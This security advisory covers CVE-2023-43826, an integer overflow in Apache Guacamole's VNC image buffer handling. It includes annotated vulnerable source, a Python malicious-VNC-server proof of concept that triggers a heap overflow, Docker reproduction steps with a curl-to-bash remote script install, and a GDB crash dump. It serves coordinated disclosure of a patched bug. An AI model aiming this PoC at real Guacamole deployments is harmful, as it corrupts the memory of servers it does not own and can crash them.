Skip to content

Latest commit

 

History

History
399 lines (318 loc) · 16.4 KB

CVE-2023-43826.md

File metadata and controls

399 lines (318 loc) · 16.4 KB

CVE-2023-43826: Integer overflow in handling of VNC image buffers

Introduction

This write-up describes the details of an integer overflow vulnerability discovered in Apache Guacamole, tracked as CVE-2023-43826.

Apache Guacamole is a remote desktop gateway that acts as an intermediary between an end-user and a machine running a remote desktop server. Since an attacker may be situated on either or both sides of this connection, it presents an interesting attack surface as bugs may arise in the handling of data from the end-user as well as in the clients of the various supported remote desktop protocols.

The vulnerability was found to affect versions before 1.5.4, where a patch was introduced.

For a Docker testing environment, see CVE-2022-43826/.

Overview

An integer overflow bug was discovered in the handling of VNC frame buffer updates which would lead to a wild copy on a heap buffer. If a user connects to a malicious or compromised VNC server, specially crafted frame buffer updates sent by the server could result in memory corruption, potentially leading to arbitrary code execution with the privileges of the guacd process.

The attack scenario is similar to other Guacamole vulnerabilities found by Check Point Research where the attacker acts as a malicious user (with control of a machine running the remote desktop server) or simply compromises the machine running the remote desktop server itself. As shown in the post by Check Point Research, code execution within the forked process may lead to privilege escalation and the ability to join other sessions on the Guacamole server.

For further background and insights on exploiting a heap bug in Guacamole, we recommend checking out Stefan Schiller's Hexacon 2023 talk which describes a separate vulnerability.

Timeline

  • 22/09/2023 - Vulnerability report sent to [email protected]
  • 22/09/2023 - Acknowledgement and confirmation of report by project
  • 26/10/2023 - Fix implemented and merged
  • 08/12/2023 - Apache Guacamole 1.5.4 released, containing the fix
  • 20/12/2023 - Advisory released by project
  • 20/12/2023 - Public release of this advisory

Description

The guac_vnc_update function, defined in src/protocols/vnc/display.c is called upon the VNC client receiving particular frame buffer update messages. This function takes as arguments an int w and int h corresponding to the width and height of the rectangle being processed. Within this function, a call to malloc is made to allocate memory for the processed data. This is called with an argument of h*stride, where stride is equal to 4*w. The processing then processes and copies the data from the VNC client (which originally came from the VNC server) to this buffer.

An integer overflow bug occurs in the computation of h*stride (the argument passed to malloc) which may cause the allocated chunk to be smaller than expected. Because the subsequent processing operations are implemented as a nested for loop, no integer overflow occurs here and the full 4*w*h bytes of data is copied into the heap buffer, leading to a heap overflow.

src/protocols/vnc/display.c (comments with //! added):

void guac_vnc_update(rfbClient* client, int x, int y, int w, int h) {

    guac_client* gc = rfbClientGetClientData(client, GUAC_VNC_CLIENT_KEY);
    guac_vnc_client* vnc_client = (guac_vnc_client*) gc->data;

    int dx, dy;

    /* Cairo image buffer */
    int stride;
    unsigned char* buffer;
    unsigned char* buffer_row_current;
    cairo_surface_t* surface;

    /* VNC framebuffer */
    unsigned int bpp;
    unsigned int fb_stride;
    unsigned char* fb_row_current;

    /* Ignore extra update if already handled by copyrect */
    if (vnc_client->copy_rect_used) {
        vnc_client->copy_rect_used = 0;
        return;
    }

    /* Init Cairo buffer */
    stride = cairo_format_stride_for_width(CAIRO_FORMAT_RGB24, w);
    buffer = malloc(h*stride); //! integer overflow may occur here
    buffer_row_current = buffer;

    bpp = client->format.bitsPerPixel/8;
    fb_stride = bpp * client->width;
    fb_row_current = client->frameBuffer + (y * fb_stride) + (x * bpp); //! data to be copied/processed comes from the VNC server

    /* Copy image data from VNC client to PNG */
    for (dy = y; dy<y+h; dy++) { //! a nested for loop is used which copies the full amount of bytes (without overflow)

        unsigned int*  buffer_current;
        unsigned char* fb_current;
        
        /* Get current buffer row, advance to next */
        buffer_current      = (unsigned int*) buffer_row_current;
        buffer_row_current += stride;

        /* Get current framebuffer row, advance to next */
        fb_current      = fb_row_current;
        fb_row_current += fb_stride;

        for (dx = x; dx<x+w; dx++) {

            unsigned char red, green, blue;
            unsigned int v;

            switch (bpp) {
                case 4:
                    v = *((uint32_t*)  fb_current);
                    break;

                case 2:
                    v = *((uint16_t*) fb_current);
                    break;

                default:
                    v = *((uint8_t*)  fb_current);
            }

            /* Translate value to RGB */
            red   = (v >> client->format.redShift)   * 0x100 / (client->format.redMax  + 1);
            green = (v >> client->format.greenShift) * 0x100 / (client->format.greenMax+ 1);
            blue  = (v >> client->format.blueShift)  * 0x100 / (client->format.blueMax + 1);

            /* Output RGB */
            if (vnc_client->settings->swap_red_blue)
                *(buffer_current++) = (blue << 16) | (green << 8) | red;
            else
                *(buffer_current++) = (red  << 16) | (green << 8) | blue; //! server controlled data is copied into the heap buffer

            fb_current += bpp;

        }
    }

    /* Create surface from decoded buffer */
    surface = cairo_image_surface_create_for_data(buffer, CAIRO_FORMAT_RGB24,
            w, h, stride);

    /* Draw directly to default layer */
    guac_common_surface_draw(vnc_client->display->default_surface,
            x, y, surface);

    /* Free surface */
    cairo_surface_destroy(surface);
    free(buffer); //! the heap buffer is freed

}

Proof of Concept

The following Python script (vnc-server.py) can be used to mimic a VNC server which will trigger the heap overflow when connected to by guacd:

import sys
import socket
import time

listen_port = int(sys.argv[1])

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(('0.0.0.0', listen_port))
        s.listen()
        conn, addr = s.accept()
        with conn:
            print(f"Connected by {addr}")

            # send protocol version
            conn.send(b'RFB 003.007\n')
            data = conn.recv(1024)
            print('Client protocol version:', data)

            # send security types
            conn.send(b'\x02\x01\x10')
            data = conn.recv(1)
            print('Client selected security type:', data)

            # client share desktop flag
            data = conn.recv(1)
            print('Client share desktop flag:', data)

            # send server framebuf params
            conn.send(b'\xff\xff\xff\xff \x18\x00\x01\x00\xff\x00\xff\x00\xff\x10\x08\x00\x00\x00\x00\x00\x00\x00\x03' + b'poc')

            # client pixel format, encodings, framebuf update req
            data = conn.recv(20)
            print('Client set pixel format:', data)
            data = conn.recv(80)
            print('Client set encodings:', data)

            data = conn.recv(10)
            print('Client framebuffer update request:', data)

            server_fbu = b'\x00' # message-type
            server_fbu += b'\x00' # padding
            server_fbu += b'\x00\x01' # number-of-rectangles
            server_fbu += b'\x00\x00\x00\x00\xf4\x3d\x43\x15\x00\x00\x00\x00' # rectangle heading
            server_fbu += b'A'*0xf43d*0x4315*4 # rectangle data
            conn.sendall(server_fbu)

            print('Client response:', conn.recv(1024))

            time.sleep(100)
finally:
    s.close()

The following Dockerfile can be used to reproduce the bug and see the crash in GDB:

FROM ubuntu:22.04

# build guacd
RUN apt update && apt-get install -y gcc curl wget sed g++ libcairo2-dev libjpeg-turbo8-dev libpng-dev libtool-bin libossp-uuid-dev libswscale-dev build-essential libvncserver-dev
RUN mkdir -p /opt/guacamole
WORKDIR /opt/guacamole
RUN wget https://downloads.apache.org/guacamole/1.5.3/source/guacamole-server-1.5.3.tar.gz -P /opt/guacamole
RUN tar xzf guacamole-server-1.5.3.tar.gz
WORKDIR /opt/guacamole/guacamole-server-1.5.3
RUN ./configure --with-init-dir=/etc/init.d
RUN sed -i 's/-Werror//g' src/common-ssh/Makefile
RUN sed -i 's/-Werror//g' src/guacenc/Makefile
RUN make && make install && ldconfig

# set up pwner user
ARG USERNAME=pwner

ENV DEBIAN_FRONTEND noninteractive

RUN apt update && apt install -y gdb python3 tmux sudo netcat
RUN useradd -ms /bin/bash $USERNAME
RUN echo 'pwner\npwner' | passwd pwner
RUN echo $USERNAME ALL=\(root\) NOPASSWD:ALL > /etc/sudoers.d/$USERNAME \
    && chmod 0440 /etc/sudoers.d/$USERNAME
USER $USERNAME
RUN mkdir /home/$USERNAME/pwn
WORKDIR /home/$USERNAME/pwn

RUN echo 'alias tmux="tmux -2"' >> /home/$USERNAME/.bashrc
RUN bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
ENV LC_CTYPE=C.UTF-8

COPY vnc-server.py vnc-server.py

ENTRYPOINT ["/bin/bash"]

This can be built and run with the following commands:

docker build -t cve-2023-43826-poc .
docker run -ti cve-2023-43826-poc

Within the container, run guacd with GDB:

gdb guacd \
    -ex "set follow-fork-mode child" \
    -ex "set detach-on-fork off" \
    -ex "run -b 0.0.0.0 -L debug -f"

In another terminal within the container, start the malicious VNC server listening on port 1234:

python3 vnc-server.py 1234

Finally, the client connection can be triggered by connecting to guacd with the VNC protocol selected and the target host as 0.0.0.0:1234:

echo -n '6.select,3.vnc;4.size,4.1920,4.1080,3.192;5.audio,8.audio/L8,9.audio/L16;5.video;5.image,10.image/jpeg,9.image/png,10.image/webp;8.timezone,19.Australia/Melbourne;4.name,4.test;7.connect,13.VERSION_1_5_0,7.0.0.0.0,4.1234,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.;' | nc localhost 4822

Some threads will be created and a new process will be spawned (processes can be seen with info inferiors). To get to the crash, continue the main process by pressing Ctrl+C and then entering the commands:

inferior 1
continue

After the connection ID is displayed, press Ctrl+C again and continue the forked process:

inferior 2
continue

After a short time, this will show a crash on the line:

*(buffer_current++) = (red  << 16) | (green << 8) | blue;

due to an attempt to dereference unmapped memory.

Thread 2.4 "guacd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f3dbdc5e640 (LWP 64)]
0x00007f3dbf496eeb in guac_vnc_update (client=0x7f3dbd406010, x=0x0, y=0x0, w=0xf43d, h=0x4315) at display.c:120
120                     *(buffer_current++) = (red  << 16) | (green << 8) | blue;
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x4100
$rbx   : 0x100
$rcx   : 0x8
$rdx   : 0x0
$rsp   : 0x00007f3dbdc5d9e0  →  0x0000000000000000
$rbp   : 0x0
$rsi   : 0x41414141
$rdi   : 0x414141
$rip   : 0x00007f3dbf496eeb  →  <guac_vnc_update+571> mov DWORD PTR [r9-0x4], edi
$r8    : 0x41
$r9    : 0x00007f3db002c004  →  0x0000000000000000
$r10   : 0x00007f39b00a44f4  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r11   : 0x100
$r12   : 0x00007f3db0043c14  →  0x0000000000000000
$r13   : 0x4
$r14   : 0x4
$r15   : 0x100
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007f3dbdc5d9e0│+0x0000: 0x0000000000000000   ← $rsp
0x00007f3dbdc5d9e8│+0x0008: 0x00000010c05a7641
0x00007f3dbdc5d9f0│+0x0010: 0x0000000000000008
0x00007f3dbdc5d9f8│+0x0018: 0x00007f39b00bf00c  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007f3dbdc5da00│+0x0020: 0x00007f3db0043c14  →  0x0000000000000000
0x00007f3dbdc5da08│+0x0028: 0x000000000003d0f4
0x00007f3dbdc5da10│+0x0030: 0x0000000000000000
0x00007f3dbdc5da18│+0x0038: 0x00007f3db802f0f0  →  0x00007f3dbdc5e640  →  0x00007f3dbdc5e640  →  [loop detected]
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f3dbf496ee0 <guac_vnc_update+560> and    edi, 0xff0000
   0x7f3dbf496ee6 <guac_vnc_update+566> or     edi, eax
   0x7f3dbf496ee8 <guac_vnc_update+568> or     edi, r8d
 → 0x7f3dbf496eeb <guac_vnc_update+571> mov    DWORD PTR [r9-0x4], edi
   0x7f3dbf496eef <guac_vnc_update+575> cmp    r9, r12
   0x7f3dbf496ef2 <guac_vnc_update+578> jne    0x7f3dbf496e79 <guac_vnc_update+457>
   0x7f3dbf496ef4 <guac_vnc_update+580> add    DWORD PTR [rsp+0x30], 0x1
   0x7f3dbf496ef9 <guac_vnc_update+585> add    r12, QWORD PTR [rsp+0x28]
   0x7f3dbf496efe <guac_vnc_update+590> mov    eax, DWORD PTR [rsp+0x30]
──────────────────────────────────────────────────────────────────────────────────────────── source:display.c+120 ────
    115
    116              /* Output RGB */
    117              if (vnc_client->settings->swap_red_blue)
    118                  *(buffer_current++) = (blue << 16) | (green << 8) | red;
    119              else
 →  120                  *(buffer_current++) = (red  << 16) | (green << 8) | blue;
    121
    122              fb_current += bpp;
    123
    124          }
    125      }
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "guacd", stopped 0x7f3dc05ba64f in __recvmsg_syscall (), reason: SIGSEGV
[#1] Id 2, Name: "guacd", stopped 0x7f3dc05787f8 in __GI___clock_nanosleep (), reason: SIGSEGV
[#2] Id 3, Name: "guacd", stopped 0x7f3dc0524117 in __futex_abstimed_wait_common64 (), reason: SIGSEGV
[#3] Id 4, Name: "guacd", stopped 0x7f3dbf496eeb in guac_vnc_update (), reason: SIGSEGV
[#4] Id 5, Name: "guacd", stopped 0x7f3dc05ab9df in __GI___poll (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f3dbf496eeb → guac_vnc_update(client=0x7f3dbd406010, x=0x0, y=0x0, w=0xf43d, h=0x4315)
[#1] 0x7f3dbf47347f → HandleRFBServerMessage()
[#2] 0x7f3dbf497ef0 → guac_vnc_client_thread(data=0x7f3db800b340)
[#3] 0x7f3dc0527ac3 → start_thread(arg=<optimized out>)
[#4] 0x7f3dc05b8814 → clone()

Discovered

  • September 2023, Joseph Surin and Matt Jones, elttam